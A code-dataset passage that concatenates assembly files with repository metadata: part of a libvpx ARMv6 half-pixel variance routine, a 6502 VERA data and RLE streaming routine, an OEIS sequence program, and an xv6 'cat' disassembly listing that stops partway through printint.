uxtb16 r5, r6 ; byte (two pixels) to halfwords
uxtb16 r7, r6, ror #8 ; another two pixels to halfwords
smlad r11, r5, r5, r11 ; dual signed multiply, add and accumulate (1)
; 2nd 4 pixels
ldr r4, [r0, #4] ; load source pixels a, row N
ldr r6, [r0, #5] ; load source pixels b, row N
ldr r5, [r9, #4] ; load source pixels c, row N+1
smlad r11, r7, r7, r11 ; dual signed multiply, add and accumulate (2)
ldr r7, [r9, #5] ; load source pixels d, row N+1
; x = (a + b + 1) >> 1, interpolate pixels horizontally on row N
mvn r6, r6
uhsub8 r4, r4, r6
eor r4, r4, r10
; y = (c + d + 1) >> 1, interpolate pixels horizontally on row N+1
mvn r7, r7
uhsub8 r5, r5, r7
eor r5, r5, r10
; z = (x + y + 1) >> 1, interpolate half pixel values vertically
mvn r5, r5
uhsub8 r4, r4, r5
ldr r5, [r2, #4] ; load 4 ref pixels
eor r4, r4, r10
usub8 r6, r4, r5 ; calculate difference
sel r7, r6, lr ; select bytes with positive difference
usub8 r6, r5, r4 ; calculate difference with reversed operands
sel r6, r6, lr ; select bytes with negative difference
; calculate partial sums
usad8 r4, r7, lr ; calculate sum of positive differences
usad8 r5, r6, lr ; calculate sum of negative differences
orr r6, r6, r7 ; differences of all 4 pixels
; calculate total sum
add r8, r8, r4 ; add positive differences to sum
sub r8, r8, r5 ; substract negative differences from sum
; calculate sse
uxtb16 r5, r6 ; byte (two pixels) to halfwords
uxtb16 r7, r6, ror #8 ; another two pixels to halfwords
smlad r11, r5, r5, r11 ; dual signed multiply, add and accumulate (1)
; 3rd 4 pixels
ldr r4, [r0, #8] ; load source pixels a, row N
ldr r6, [r0, #9] ; load source pixels b, row N
ldr r5, [r9, #8] ; load source pixels c, row N+1
smlad r11, r7, r7, r11 ; dual signed multiply, add and accumulate (2)
ldr r7, [r9, #9] ; load source pixels d, row N+1
; x = (a + b + 1) >> 1, interpolate pixels horizontally on row N
mvn r6, r6
uhsub8 r4, r4, r6
eor r4, r4, r10
; y = (c + d + 1) >> 1, interpolate pixels horizontally on row N+1
mvn r7, r7
uhsub8 r5, r5, r7
eor r5, r5, r10
; z = (x + y + 1) >> 1, interpolate half pixel values vertically
mvn r5, r5
uhsub8 r4, r4, r5
ldr r5, [r2, #8] ; load 4 ref pixels
eor r4, r4, r10
usub8 r6, r4, r5 ; calculate difference
sel r7, r6, lr ; select bytes with positive difference
usub8 r6, r5, r4 ; calculate difference with reversed operands
sel r6, r6, lr ; select bytes with negative difference
; calculate partial sums
usad8 r4, r7, lr ; calculate sum of positive differences
usad8 r5, r6, lr ; calculate sum of negative differences
orr r6, r6, r7 ; differences of all 4 pixels
; calculate total sum
add r8, r8, r4 ; add positive differences to sum
sub r8, r8, r5 ; substract negative differences from sum
; calculate sse
uxtb16 r5, r6 ; byte (two pixels) to halfwords
uxtb16 r7, r6, ror #8 ; another two pixels to halfwords
smlad r11, r5, r5, r11 ; dual signed multiply, add and accumulate (1)
; 4th 4 pixels
ldr r4, [r0, #12] ; load source pixels a, row N
ldr r6, [r0, #13] ; load source pixels b, row N
ldr r5, [r9, #12] ; load source pixels c, row N+1
smlad r11, r7, r7, r11 ; dual signed multiply, add and accumulate (2)
ldr r7, [r9, #13] ; load source pixels d, row N+1
; x = (a + b + 1) >> 1, interpolate pixels horizontally on row N
mvn r6, r6
uhsub8 r4, r4, r6
eor r4, r4, r10
; y = (c + d + 1) >> 1, interpolate pixels horizontally on row N+1
mvn r7, r7
uhsub8 r5, r5, r7
eor r5, r5, r10
; z = (x + y + 1) >> 1, interpolate half pixel values vertically
mvn r5, r5
uhsub8 r4, r4, r5
ldr r5, [r2, #12] ; load 4 ref pixels
eor r4, r4, r10
usub8 r6, r4, r5 ; calculate difference
add r0, r0, r1 ; set src_ptr to next row
sel r7, r6, lr ; select bytes with positive difference
usub8 r6, r5, r4 ; calculate difference with reversed operands
add r2, r2, r3 ; set dst_ptr to next row
sel r6, r6, lr ; select bytes with negative difference
; calculate partial sums
usad8 r4, r7, lr ; calculate sum of positive differences
usad8 r5, r6, lr ; calculate sum of negative differences
orr r6, r6, r7 ; differences of all 4 pixels
; calculate total sum
add r8, r8, r4 ; add positive differences to sum
sub r8, r8, r5 ; substract negative differences from sum
; calculate sse
uxtb16 r5, r6 ; byte (two pixels) to halfwords
uxtb16 r7, r6, ror #8 ; another two pixels to halfwords
smlad r11, r5, r5, r11 ; dual signed multiply, add and accumulate (1)
subs r12, r12, #1
smlad r11, r7, r7, r11 ; dual signed multiply, add and accumulate (2)
bne loop
; return stuff
ldr r6, [sp, #40] ; get address of sse
mul r0, r8, r8 ; sum * sum
str r11, [r6] ; store sse
sub r0, r11, r0, asr #8 ; return (sse - ((sum * sum) >> 8))
ldmfd sp!, {r4-r12, pc}
ENDP
c80808080
DCD 0x80808080
END
| 38.403587 | 78 | 0.553947 |
[
"BSD-3-Clause"
] |
awatry/libvpx.opencl
|
vp8/encoder/arm/armv6/vp8_variance_halfpixvar16x16_hv_armv6.asm
| 8,564 |
Assembly
|
.ifndef VERA_ASM
VERA_ASM=1
.code
.ifdef USING_VERA_STREAM_OUT_RLE
;==============================================
; vera_stream_out_data
; Stream out a block of memory to VERA_data
;----------------------------------------------
; INPUT: X - number of pages to stream
; Y - number of bytes to stream
; $FB - low byte of starting address
; $FC - high byte of starting address
;----------------------------------------------
; Modifies: A, X, Y, $FC
;
vera_stream_out_data:
tya
pha
; If no pages to copy, skip to bytes
txa
cmp #0
beq @no_blocks
; Copy X pages to VERA_data
ldy #0
@loop:
lda ($FB),Y
sta VERA_data
iny
bne @loop
inc $FC
dex
bne @loop
@no_blocks:
; Copy X bytes to VERA_data
pla
tax
ldy #0
@loop2:
lda ($FB),Y
sta VERA_data
iny
dex
bne @loop2
rts
.endif ; USING_VERA_STREAM_OUT_DATA
.ifdef USING_VERA_STREAM_OUT_RLE
;==============================================
; vera_stream_out_rle
; Stream out a block of rle-compressed memory to VERA_data
;----------------------------------------------
; INPUT: X - number of rle pages to stream
; Y - number of rle bytes to stream
; $FB - low byte of starting address
; $FC - high byte of starting address
;----------------------------------------------
; Modifies: A, X, Y, $FC
;
vera_stream_out_rle:
tya
pha
; If no pages to copy, skip to bytes
txa
cmp #0
beq @no_pages
; Copy X pages to VERA_data
ldy #0
@page_loop:
pha
@tuple_loop:
; First byte is the number of repetitions
lda ($FB),Y
tax
iny
; Second byte is the value to stream
lda ($FB),Y
iny
@byte_loop:
sta VERA_data
dex
bne @byte_loop
cpy #0
bne @tuple_loop
inc $FC
pla
clc
adc #$FF
bne @page_loop
@no_pages:
; Copy X bytes to VERA_data
ldy #0
@loop2:
; First byte is the number of repetitions
lda ($FB),Y
tax
iny
; Second byte is the value to stream
lda ($FB),Y
iny
@byte_loop2:
sta VERA_data
dex
bne @byte_loop2
pla
clc
adc #$FE
pha
bne @loop2
pla
rts
.endif ; USING_VERA_STREAM_OUT_RLE
.endif ; VERA_ASM
| 17.5 | 58 | 0.52967 |
[
"MIT"
] |
indigodarkwolf/x16-matriculate-text
|
vera.asm
| 2,275 |
Assembly
|
; A113646: a(n) is the smallest composite integer which is >= n.
; 4,4,4,4,6,6,8,8,9,10,12,12,14,14,15,16,18,18,20,20,21,22,24,24,25,26,27,28,30,30,32,32,33,34,35,36,38,38,39,40,42,42,44,44,45,46,48,48,49,50,51,52,54,54,55,56,57,58,60,60,62,62,63,64,65,66,68,68,69,70,72,72,74,74,75,76,77,78,80,80,81,82,84,84,85,86,87,88,90,90,91,92,93,94,95,96,98,98,99,100
max $0,2
mov $1,$0
seq $1,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
add $0,$1
add $0,1
| 52.555556 | 293 | 0.661734 |
[
"Apache-2.0"
] |
ckrause/cm
|
programs/oeis/113/A113646.asm
| 473 |
Assembly
|
_cat: formato de ficheiro elf32-i386
Desmontagem da secção .text:
00000000 <cat>:
char buf[512];
void
cat(int fd)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 18 sub $0x18,%esp
int n;
while((n = read(fd, buf, sizeof(buf))) > 0)
6: eb 15 jmp 1d <cat+0x1d>
write(1, buf, n);
8: 83 ec 04 sub $0x4,%esp
b: ff 75 f4 pushl -0xc(%ebp)
e: 68 60 0b 00 00 push $0xb60
13: 6a 01 push $0x1
15: e8 6c 03 00 00 call 386 <write>
1a: 83 c4 10 add $0x10,%esp
while((n = read(fd, buf, sizeof(buf))) > 0)
1d: 83 ec 04 sub $0x4,%esp
20: 68 00 02 00 00 push $0x200
25: 68 60 0b 00 00 push $0xb60
2a: ff 75 08 pushl 0x8(%ebp)
2d: e8 4c 03 00 00 call 37e <read>
32: 83 c4 10 add $0x10,%esp
35: 89 45 f4 mov %eax,-0xc(%ebp)
38: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3c: 7f ca jg 8 <cat+0x8>
if(n < 0){
3e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
42: 79 17 jns 5b <cat+0x5b>
printf(1, "cat: read error\n");
44: 83 ec 08 sub $0x8,%esp
47: 68 8f 08 00 00 push $0x88f
4c: 6a 01 push $0x1
4e: e8 86 04 00 00 call 4d9 <printf>
53: 83 c4 10 add $0x10,%esp
exit();
56: e8 0b 03 00 00 call 366 <exit>
}
}
5b: 90 nop
5c: c9 leave
5d: c3 ret
0000005e <main>:
int
main(int argc, char *argv[])
{
5e: 8d 4c 24 04 lea 0x4(%esp),%ecx
62: 83 e4 f0 and $0xfffffff0,%esp
65: ff 71 fc pushl -0x4(%ecx)
68: 55 push %ebp
69: 89 e5 mov %esp,%ebp
6b: 53 push %ebx
6c: 51 push %ecx
6d: 83 ec 10 sub $0x10,%esp
70: 89 cb mov %ecx,%ebx
int fd, i;
if(argc <= 1){
72: 83 3b 01 cmpl $0x1,(%ebx)
75: 7f 12 jg 89 <main+0x2b>
cat(0);
77: 83 ec 0c sub $0xc,%esp
7a: 6a 00 push $0x0
7c: e8 7f ff ff ff call 0 <cat>
81: 83 c4 10 add $0x10,%esp
exit();
84: e8 dd 02 00 00 call 366 <exit>
}
for(i = 1; i < argc; i++){
89: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
90: eb 71 jmp 103 <main+0xa5>
if((fd = open(argv[i], 0)) < 0){
92: 8b 45 f4 mov -0xc(%ebp),%eax
95: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
9c: 8b 43 04 mov 0x4(%ebx),%eax
9f: 01 d0 add %edx,%eax
a1: 8b 00 mov (%eax),%eax
a3: 83 ec 08 sub $0x8,%esp
a6: 6a 00 push $0x0
a8: 50 push %eax
a9: e8 f8 02 00 00 call 3a6 <open>
ae: 83 c4 10 add $0x10,%esp
b1: 89 45 f0 mov %eax,-0x10(%ebp)
b4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
b8: 79 29 jns e3 <main+0x85>
printf(1, "cat: cannot open %s\n", argv[i]);
ba: 8b 45 f4 mov -0xc(%ebp),%eax
bd: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
c4: 8b 43 04 mov 0x4(%ebx),%eax
c7: 01 d0 add %edx,%eax
c9: 8b 00 mov (%eax),%eax
cb: 83 ec 04 sub $0x4,%esp
ce: 50 push %eax
cf: 68 a0 08 00 00 push $0x8a0
d4: 6a 01 push $0x1
d6: e8 fe 03 00 00 call 4d9 <printf>
db: 83 c4 10 add $0x10,%esp
exit();
de: e8 83 02 00 00 call 366 <exit>
}
cat(fd);
e3: 83 ec 0c sub $0xc,%esp
e6: ff 75 f0 pushl -0x10(%ebp)
e9: e8 12 ff ff ff call 0 <cat>
ee: 83 c4 10 add $0x10,%esp
close(fd);
f1: 83 ec 0c sub $0xc,%esp
f4: ff 75 f0 pushl -0x10(%ebp)
f7: e8 92 02 00 00 call 38e <close>
fc: 83 c4 10 add $0x10,%esp
for(i = 1; i < argc; i++){
ff: 83 45 f4 01 addl $0x1,-0xc(%ebp)
103: 8b 45 f4 mov -0xc(%ebp),%eax
106: 3b 03 cmp (%ebx),%eax
108: 7c 88 jl 92 <main+0x34>
}
exit();
10a: e8 57 02 00 00 call 366 <exit>
0000010f <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
10f: 55 push %ebp
110: 89 e5 mov %esp,%ebp
112: 57 push %edi
113: 53 push %ebx
asm volatile("cld; rep stosb" :
114: 8b 4d 08 mov 0x8(%ebp),%ecx
117: 8b 55 10 mov 0x10(%ebp),%edx
11a: 8b 45 0c mov 0xc(%ebp),%eax
11d: 89 cb mov %ecx,%ebx
11f: 89 df mov %ebx,%edi
121: 89 d1 mov %edx,%ecx
123: fc cld
124: f3 aa rep stos %al,%es:(%edi)
126: 89 ca mov %ecx,%edx
128: 89 fb mov %edi,%ebx
12a: 89 5d 08 mov %ebx,0x8(%ebp)
12d: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
130: 90 nop
131: 5b pop %ebx
132: 5f pop %edi
133: 5d pop %ebp
134: c3 ret
00000135 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
135: 55 push %ebp
136: 89 e5 mov %esp,%ebp
138: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
13b: 8b 45 08 mov 0x8(%ebp),%eax
13e: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
141: 90 nop
142: 8b 55 0c mov 0xc(%ebp),%edx
145: 8d 42 01 lea 0x1(%edx),%eax
148: 89 45 0c mov %eax,0xc(%ebp)
14b: 8b 45 08 mov 0x8(%ebp),%eax
14e: 8d 48 01 lea 0x1(%eax),%ecx
151: 89 4d 08 mov %ecx,0x8(%ebp)
154: 0f b6 12 movzbl (%edx),%edx
157: 88 10 mov %dl,(%eax)
159: 0f b6 00 movzbl (%eax),%eax
15c: 84 c0 test %al,%al
15e: 75 e2 jne 142 <strcpy+0xd>
;
return os;
160: 8b 45 fc mov -0x4(%ebp),%eax
}
163: c9 leave
164: c3 ret
00000165 <strcmp>:
int
strcmp(const char *p, const char *q)
{
165: 55 push %ebp
166: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
168: eb 08 jmp 172 <strcmp+0xd>
p++, q++;
16a: 83 45 08 01 addl $0x1,0x8(%ebp)
16e: 83 45 0c 01 addl $0x1,0xc(%ebp)
while(*p && *p == *q)
172: 8b 45 08 mov 0x8(%ebp),%eax
175: 0f b6 00 movzbl (%eax),%eax
178: 84 c0 test %al,%al
17a: 74 10 je 18c <strcmp+0x27>
17c: 8b 45 08 mov 0x8(%ebp),%eax
17f: 0f b6 10 movzbl (%eax),%edx
182: 8b 45 0c mov 0xc(%ebp),%eax
185: 0f b6 00 movzbl (%eax),%eax
188: 38 c2 cmp %al,%dl
18a: 74 de je 16a <strcmp+0x5>
return (uchar)*p - (uchar)*q;
18c: 8b 45 08 mov 0x8(%ebp),%eax
18f: 0f b6 00 movzbl (%eax),%eax
192: 0f b6 d0 movzbl %al,%edx
195: 8b 45 0c mov 0xc(%ebp),%eax
198: 0f b6 00 movzbl (%eax),%eax
19b: 0f b6 c0 movzbl %al,%eax
19e: 29 c2 sub %eax,%edx
1a0: 89 d0 mov %edx,%eax
}
1a2: 5d pop %ebp
1a3: c3 ret
000001a4 <strlen>:
uint
strlen(char *s)
{
1a4: 55 push %ebp
1a5: 89 e5 mov %esp,%ebp
1a7: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
1aa: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
1b1: eb 04 jmp 1b7 <strlen+0x13>
1b3: 83 45 fc 01 addl $0x1,-0x4(%ebp)
1b7: 8b 55 fc mov -0x4(%ebp),%edx
1ba: 8b 45 08 mov 0x8(%ebp),%eax
1bd: 01 d0 add %edx,%eax
1bf: 0f b6 00 movzbl (%eax),%eax
1c2: 84 c0 test %al,%al
1c4: 75 ed jne 1b3 <strlen+0xf>
;
return n;
1c6: 8b 45 fc mov -0x4(%ebp),%eax
}
1c9: c9 leave
1ca: c3 ret
000001cb <memset>:
void*
memset(void *dst, int c, uint n)
{
1cb: 55 push %ebp
1cc: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
1ce: 8b 45 10 mov 0x10(%ebp),%eax
1d1: 50 push %eax
1d2: ff 75 0c pushl 0xc(%ebp)
1d5: ff 75 08 pushl 0x8(%ebp)
1d8: e8 32 ff ff ff call 10f <stosb>
1dd: 83 c4 0c add $0xc,%esp
return dst;
1e0: 8b 45 08 mov 0x8(%ebp),%eax
}
1e3: c9 leave
1e4: c3 ret
000001e5 <strchr>:
char*
strchr(const char *s, char c)
{
1e5: 55 push %ebp
1e6: 89 e5 mov %esp,%ebp
1e8: 83 ec 04 sub $0x4,%esp
1eb: 8b 45 0c mov 0xc(%ebp),%eax
1ee: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
1f1: eb 14 jmp 207 <strchr+0x22>
if(*s == c)
1f3: 8b 45 08 mov 0x8(%ebp),%eax
1f6: 0f b6 00 movzbl (%eax),%eax
1f9: 38 45 fc cmp %al,-0x4(%ebp)
1fc: 75 05 jne 203 <strchr+0x1e>
return (char*)s;
1fe: 8b 45 08 mov 0x8(%ebp),%eax
201: eb 13 jmp 216 <strchr+0x31>
for(; *s; s++)
203: 83 45 08 01 addl $0x1,0x8(%ebp)
207: 8b 45 08 mov 0x8(%ebp),%eax
20a: 0f b6 00 movzbl (%eax),%eax
20d: 84 c0 test %al,%al
20f: 75 e2 jne 1f3 <strchr+0xe>
return 0;
211: b8 00 00 00 00 mov $0x0,%eax
}
216: c9 leave
217: c3 ret
00000218 <gets>:
char*
gets(char *buf, int max)
{
218: 55 push %ebp
219: 89 e5 mov %esp,%ebp
21b: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
21e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
225: eb 42 jmp 269 <gets+0x51>
cc = read(0, &c, 1);
227: 83 ec 04 sub $0x4,%esp
22a: 6a 01 push $0x1
22c: 8d 45 ef lea -0x11(%ebp),%eax
22f: 50 push %eax
230: 6a 00 push $0x0
232: e8 47 01 00 00 call 37e <read>
237: 83 c4 10 add $0x10,%esp
23a: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
23d: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
241: 7e 33 jle 276 <gets+0x5e>
break;
buf[i++] = c;
243: 8b 45 f4 mov -0xc(%ebp),%eax
246: 8d 50 01 lea 0x1(%eax),%edx
249: 89 55 f4 mov %edx,-0xc(%ebp)
24c: 89 c2 mov %eax,%edx
24e: 8b 45 08 mov 0x8(%ebp),%eax
251: 01 c2 add %eax,%edx
253: 0f b6 45 ef movzbl -0x11(%ebp),%eax
257: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
259: 0f b6 45 ef movzbl -0x11(%ebp),%eax
25d: 3c 0a cmp $0xa,%al
25f: 74 16 je 277 <gets+0x5f>
261: 0f b6 45 ef movzbl -0x11(%ebp),%eax
265: 3c 0d cmp $0xd,%al
267: 74 0e je 277 <gets+0x5f>
for(i=0; i+1 < max; ){
269: 8b 45 f4 mov -0xc(%ebp),%eax
26c: 83 c0 01 add $0x1,%eax
26f: 39 45 0c cmp %eax,0xc(%ebp)
272: 7f b3 jg 227 <gets+0xf>
274: eb 01 jmp 277 <gets+0x5f>
break;
276: 90 nop
break;
}
buf[i] = '\0';
277: 8b 55 f4 mov -0xc(%ebp),%edx
27a: 8b 45 08 mov 0x8(%ebp),%eax
27d: 01 d0 add %edx,%eax
27f: c6 00 00 movb $0x0,(%eax)
return buf;
282: 8b 45 08 mov 0x8(%ebp),%eax
}
285: c9 leave
286: c3 ret
00000287 <stat>:
int
stat(char *n, struct stat *st)
{
287: 55 push %ebp
288: 89 e5 mov %esp,%ebp
28a: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
28d: 83 ec 08 sub $0x8,%esp
290: 6a 00 push $0x0
292: ff 75 08 pushl 0x8(%ebp)
295: e8 0c 01 00 00 call 3a6 <open>
29a: 83 c4 10 add $0x10,%esp
29d: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
2a0: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2a4: 79 07 jns 2ad <stat+0x26>
return -1;
2a6: b8 ff ff ff ff mov $0xffffffff,%eax
2ab: eb 25 jmp 2d2 <stat+0x4b>
r = fstat(fd, st);
2ad: 83 ec 08 sub $0x8,%esp
2b0: ff 75 0c pushl 0xc(%ebp)
2b3: ff 75 f4 pushl -0xc(%ebp)
2b6: e8 03 01 00 00 call 3be <fstat>
2bb: 83 c4 10 add $0x10,%esp
2be: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
2c1: 83 ec 0c sub $0xc,%esp
2c4: ff 75 f4 pushl -0xc(%ebp)
2c7: e8 c2 00 00 00 call 38e <close>
2cc: 83 c4 10 add $0x10,%esp
return r;
2cf: 8b 45 f0 mov -0x10(%ebp),%eax
}
2d2: c9 leave
2d3: c3 ret
000002d4 <atoi>:
int
atoi(const char *s)
{
2d4: 55 push %ebp
2d5: 89 e5 mov %esp,%ebp
2d7: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
2da: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
2e1: eb 25 jmp 308 <atoi+0x34>
n = n*10 + *s++ - '0';
2e3: 8b 55 fc mov -0x4(%ebp),%edx
2e6: 89 d0 mov %edx,%eax
2e8: c1 e0 02 shl $0x2,%eax
2eb: 01 d0 add %edx,%eax
2ed: 01 c0 add %eax,%eax
2ef: 89 c1 mov %eax,%ecx
2f1: 8b 45 08 mov 0x8(%ebp),%eax
2f4: 8d 50 01 lea 0x1(%eax),%edx
2f7: 89 55 08 mov %edx,0x8(%ebp)
2fa: 0f b6 00 movzbl (%eax),%eax
2fd: 0f be c0 movsbl %al,%eax
300: 01 c8 add %ecx,%eax
302: 83 e8 30 sub $0x30,%eax
305: 89 45 fc mov %eax,-0x4(%ebp)
while('0' <= *s && *s <= '9')
308: 8b 45 08 mov 0x8(%ebp),%eax
30b: 0f b6 00 movzbl (%eax),%eax
30e: 3c 2f cmp $0x2f,%al
310: 7e 0a jle 31c <atoi+0x48>
312: 8b 45 08 mov 0x8(%ebp),%eax
315: 0f b6 00 movzbl (%eax),%eax
318: 3c 39 cmp $0x39,%al
31a: 7e c7 jle 2e3 <atoi+0xf>
return n;
31c: 8b 45 fc mov -0x4(%ebp),%eax
}
31f: c9 leave
320: c3 ret
00000321 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
321: 55 push %ebp
322: 89 e5 mov %esp,%ebp
324: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
327: 8b 45 08 mov 0x8(%ebp),%eax
32a: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
32d: 8b 45 0c mov 0xc(%ebp),%eax
330: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
333: eb 17 jmp 34c <memmove+0x2b>
*dst++ = *src++;
335: 8b 55 f8 mov -0x8(%ebp),%edx
338: 8d 42 01 lea 0x1(%edx),%eax
33b: 89 45 f8 mov %eax,-0x8(%ebp)
33e: 8b 45 fc mov -0x4(%ebp),%eax
341: 8d 48 01 lea 0x1(%eax),%ecx
344: 89 4d fc mov %ecx,-0x4(%ebp)
347: 0f b6 12 movzbl (%edx),%edx
34a: 88 10 mov %dl,(%eax)
while(n-- > 0)
34c: 8b 45 10 mov 0x10(%ebp),%eax
34f: 8d 50 ff lea -0x1(%eax),%edx
352: 89 55 10 mov %edx,0x10(%ebp)
355: 85 c0 test %eax,%eax
357: 7f dc jg 335 <memmove+0x14>
return vdst;
359: 8b 45 08 mov 0x8(%ebp),%eax
}
35c: c9 leave
35d: c3 ret
0000035e <fork>:
35e: b8 01 00 00 00 mov $0x1,%eax
363: cd 40 int $0x40
365: c3 ret
00000366 <exit>:
366: b8 02 00 00 00 mov $0x2,%eax
36b: cd 40 int $0x40
36d: c3 ret
0000036e <wait>:
36e: b8 03 00 00 00 mov $0x3,%eax
373: cd 40 int $0x40
375: c3 ret
00000376 <pipe>:
376: b8 04 00 00 00 mov $0x4,%eax
37b: cd 40 int $0x40
37d: c3 ret
0000037e <read>:
37e: b8 05 00 00 00 mov $0x5,%eax
383: cd 40 int $0x40
385: c3 ret
00000386 <write>:
386: b8 10 00 00 00 mov $0x10,%eax
38b: cd 40 int $0x40
38d: c3 ret
0000038e <close>:
38e: b8 15 00 00 00 mov $0x15,%eax
393: cd 40 int $0x40
395: c3 ret
00000396 <kill>:
396: b8 06 00 00 00 mov $0x6,%eax
39b: cd 40 int $0x40
39d: c3 ret
0000039e <exec>:
39e: b8 07 00 00 00 mov $0x7,%eax
3a3: cd 40 int $0x40
3a5: c3 ret
000003a6 <open>:
3a6: b8 0f 00 00 00 mov $0xf,%eax
3ab: cd 40 int $0x40
3ad: c3 ret
000003ae <mknod>:
3ae: b8 11 00 00 00 mov $0x11,%eax
3b3: cd 40 int $0x40
3b5: c3 ret
000003b6 <unlink>:
3b6: b8 12 00 00 00 mov $0x12,%eax
3bb: cd 40 int $0x40
3bd: c3 ret
000003be <fstat>:
3be: b8 08 00 00 00 mov $0x8,%eax
3c3: cd 40 int $0x40
3c5: c3 ret
000003c6 <link>:
3c6: b8 13 00 00 00 mov $0x13,%eax
3cb: cd 40 int $0x40
3cd: c3 ret
000003ce <mkdir>:
3ce: b8 14 00 00 00 mov $0x14,%eax
3d3: cd 40 int $0x40
3d5: c3 ret
000003d6 <chdir>:
3d6: b8 09 00 00 00 mov $0x9,%eax
3db: cd 40 int $0x40
3dd: c3 ret
000003de <dup>:
3de: b8 0a 00 00 00 mov $0xa,%eax
3e3: cd 40 int $0x40
3e5: c3 ret
000003e6 <getpid>:
3e6: b8 0b 00 00 00 mov $0xb,%eax
3eb: cd 40 int $0x40
3ed: c3 ret
000003ee <sbrk>:
3ee: b8 0c 00 00 00 mov $0xc,%eax
3f3: cd 40 int $0x40
3f5: c3 ret
000003f6 <sleep>:
3f6: b8 0d 00 00 00 mov $0xd,%eax
3fb: cd 40 int $0x40
3fd: c3 ret
000003fe <uptime>:
3fe: b8 0e 00 00 00 mov $0xe,%eax
403: cd 40 int $0x40
405: c3 ret
00000406 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
406: 55 push %ebp
407: 89 e5 mov %esp,%ebp
409: 83 ec 18 sub $0x18,%esp
40c: 8b 45 0c mov 0xc(%ebp),%eax
40f: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
412: 83 ec 04 sub $0x4,%esp
415: 6a 01 push $0x1
417: 8d 45 f4 lea -0xc(%ebp),%eax
41a: 50 push %eax
41b: ff 75 08 pushl 0x8(%ebp)
41e: e8 63 ff ff ff call 386 <write>
423: 83 c4 10 add $0x10,%esp
}
426: 90 nop
427: c9 leave
428: c3 ret
00000429 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
429: 55 push %ebp
42a: 89 e5 mov %esp,%ebp
42c: 83 ec 28 sub $0x28,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
42f: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
436: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
43a: 74 17 je 453 <printint+0x2a>
43c: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
440: 79 11 jns 453 <printint+0x2a>
neg = 1;
442: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
449: 8b 45 0c mov 0xc(%ebp),%eax
44c: f7 d8 neg %eax
44e: 89 45 ec mov %eax,-0x14(%ebp)
451: eb 06 jmp 459 <printint+0x30>
} else {
x = xx;
453: 8b 45 0c mov 0xc(%ebp),%eax
456: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
459: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
460: 8b 4d 10 mov 0x10(%ebp),%ecx
463: 8b 45 ec mov -0x14(%ebp),%eax
466: ba 00 00 00 00 mov $0x0,%edx
46b: f7 f1 div %ecx
46d: 89 d1 mov %edx,%ecx
46f: 8b 45 f4 mov -0xc(%ebp),%eax
472: 8d 50 01 lea 0x1(%eax),%edx
475: 89 55 f4 mov %edx,-0xc(%ebp)
478: 0f b6 91 24 0b 00 00 movzbl 0xb24(%ecx),%edx
47f: 88 54 05 dc mov %dl,-0x24(%ebp,%eax,1)
}while((x /= base) != 0);
483: 8b 4d 10 mov 0x10(%ebp),%ecx
486: 8b 45 ec mov -0x14(%ebp),%eax
489: ba 00 00 00 00 mov $0x0,%edx
48e: f7 f1 div %ecx
490: 89 45 ec mov %eax,-0x14(%ebp)
493: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
497: 75 c7 jne 460 <printint+0x37>
if(neg)
499: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
49d: 74 2d je 4cc <printint+0xa3>
buf[i++] = '-';
49f: 8b 45 f4 mov -0xc(%ebp),%eax
4a2: 8d 50 01 lea 0x1(%eax),%edx
4a5: 89 55 f4 mov %edx,-0xc(%ebp)
4a8: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
4ad: eb 1d jmp 4cc <printint+0xa3>
putc(fd, buf[i]);
4af: 8d 55 dc lea -0x24(%ebp),%edx
4b2: 8b 45 f4 mov -0xc(%ebp),%eax
4b5: 01 d0 add %edx,%eax
